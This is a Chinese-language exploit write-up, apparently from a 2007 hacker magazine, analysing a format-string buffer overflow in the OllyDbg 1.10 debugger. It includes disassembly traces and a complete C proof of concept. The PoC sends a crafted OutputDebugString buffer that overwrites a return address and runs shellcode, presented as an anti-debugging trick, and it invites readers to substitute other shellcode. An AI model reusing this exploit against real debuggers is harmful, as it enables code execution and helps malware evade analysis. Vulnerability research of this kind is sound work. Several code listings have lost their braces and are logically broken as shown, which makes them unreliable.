文章作者:gyzy [E.S.T](www.gyzy.org)
資訊來源:邪惡八進制資訊安全團隊(www.eviloctal.com)
本文已經發表在《黑客防線》2007年6月刊。作者及《黑客防線》保留版權,轉載請注明原始出處。
适合讀者:溢出愛好者
前置知識:彙編語言、緩沖區溢出基本原理
OllyDbg Format String 0day分析和利用
文/圖 gyzy[江蘇大學資訊安全系&EST]
OD作為一款Ring3下的調試器以優異的性能博得了廣大密界愛好者的一緻肯定,就在最近milw0rm上公布了一個OD 0 day的POC(OllyDbg v110 Local Format String Exploit),以前寫了很多棧溢出的漏洞,卻很少有Format String的漏洞,這次OD給我們提供了一個熟悉Format String問題的機會(隻有原版的OD存在此問題,看雪論壇的修改版OllyIce不存在此問題)。
可能讀者朋友對格式化串漏洞不太熟悉,格式化串其實也是很嚴重的漏洞,輕則洩露敏感資訊,重則可以導緻執行任意代碼。這次OD出現的問題就是對格式化串過濾不嚴間接導緻了緩沖區溢出的發生,儲存在棧中的傳回位址被覆寫。那麼,哪些函數會引起格式化串漏洞呢?printf fprintf sprintf snprintf vfprintf vprintf vsprintf vsnprintf這些庫函數。先來看一個簡單的例子:
#include <stdio.h>
#include <stdlib.h>
int main( int argc, char *argv[] )
{
if( argc != 2 )
printf("輸入一個字元串/n");
return 1;
}
printf( argv[1] );
printf( "/n" );
return 0;
程式很簡單,就是列印程式的參數,比如參數為"Hello,world",那麼程式就會輸出"Hello,world"。假如我們輸入的是%d又會怎麼樣呢,如圖1:
<a href="http://photo6.yupoo.com/20070719/021458_1443127157.jpg"></a>
圖1
4198693 是十進制,16進制就是401125。正常的列印一個十進制數值應該是帶參數的,比如printf("%d",i)。i就是一個整形變量。這裡我們省略了後者,當所有參數壓棧完畢調用printf函數的時候,printf并不能檢查參數的正确性,隻是機械式的從棧中取值作為參數,也就是我們看到的 4198693,這個時候堆棧就被破壞了,棧中的資訊就洩露了(比如密碼一類的敏感資訊的安全這時候就受到了威脅)。這隻是一個簡單的例子,現實中可能并不存在這樣的漏洞,但卻揭示了格式化串問題的嚴重性。假如提供的參數是%n和經過精心構造的話可以導緻往任意記憶體位址寫資料,這也就意味着可以使存在漏洞的程式執行我們送出的任意代碼。
OD這一次出現問題的函數并不是printf,而是sprintf。盡管OD已經對OutputDebugString輸出的字元串進行了長度檢查,隻接受255個位元組,但是由于沒有對提供的參數進行檢查,是以間接導緻了緩沖區的溢出,我簡單模拟了出現問題的代碼:
void fun()
char para[10];
sprintf(para,"%12uAAAAAAAAAAAAAAAAAAAAAAAAA");
void main()
fun();
關鍵在%12u表示顯示的無符号整數擴充成12位,不足以空格補足,由于para參數隻有10個位元組,是以儲存在棧中的傳回位址會被我們提供的AAAA覆寫,如圖2:
<a href="http://photo6.yupoo.com/20070719/021459_536435066.jpg"></a>
隻要我們惡意的調用OutputDebugString函數就可以使OD的EIP被我們送出的資料覆寫,例如OutputDebugString("%4602d 0x90 0x90.....")構造成這樣的一個字元串輸出,看看OD的反應,如圖3:
<a href="http://photo6.yupoo.com/20070719/021459_2085937784.jpg"></a>
圖3
%4602d表示将字元串擴充成4602個位元組,呵呵,夠長吧?
我們可以用OllyIce來調試原版的OD,原版OD再運作被調試程式(怎麼有點像無間道),簡單的跟蹤以後,最終定位出問題的代碼如下,由于棧中0012DA90儲存的傳回位址被覆寫,0042E258處的RETN指令将導緻EIP被控制,如圖4
<a href="http://photo6.yupoo.com/20070719/021500_1047167484.jpg"></a>
圖4
在OC中給0012DA8C下硬斷,看究竟是什麼地方覆寫了0012DA90處的值,最終定位到如下指令将0012DA90處的傳回位址給覆寫了:
004A353D |. 8B4D 10 MOV ECX,[ARG.3]
004A3540 |. 8BD1 MOV EDX,ECX
004A3542 |. D1E9 SHR ECX,1
004A3544 |. D1E9 SHR ECX,1
004A3546 |. FC CLD
004A3547 |. F3:A5 REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS>
其實錯誤原因很明顯,OD隻對OutputDebugString輸出的長度進行了檢查,但是卻沒有對内容進行過濾,就是裡面的格式串引發了緩沖區溢出。這個漏洞總給人感覺是雞肋,沒什麼利用價值,不過用作一種反調試的手段也算可以,可以讓OD進入死循環,以下是我修改過的用作反調試的POC代碼, ShellCode就是簡單的跳轉指令:
#include <windows.h>
#define FORMAT_STRING "%4602d"
#pragma comment(linker,"/ENTRY:WinMain")
char shellcode[] ="/xEB/xFE";
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
char* pszEvilBuffer;
ULONG ulEvilBufSize;
DWORD dwRetAddr = 0x7FFA4512;
ulEvilBufSize = sizeof(FORMAT_STRING) + sizeof(dwRetAddr) + sizeof(shellcode);
pszEvilBuffer = (char*)malloc(ulEvilBufSize);
memset(pszEvilBuffer,0x90,ulEvilBufSize);
int i = 0;
memcpy(pszEvilBuffer+i, FORMAT_STRING, sizeof(FORMAT_STRING)-1);
i += sizeof(FORMAT_STRING)-1;
memcpy(pszEvilBuffer+i, &dwRetAddr, sizeof(dwRetAddr));
i += sizeof(dwRetAddr);
memcpy(pszEvilBuffer+i, shellcode, sizeof(shellcode)-1);
//輸出調試字元串
OutputDebugString(pszEvilBuffer);
free(pszEvilBuffer);
用OD調試一下看看效果,如圖5:
<a href="http://photo8.yupoo.com/20070719/021500_1827955222.jpg"></a>
圖5
OD的CPU占用率100%了(我的機子是雙核,是以是50%)。有興趣的讀者朋友還可以修改Shellcode,不過長度不能超過255位元組。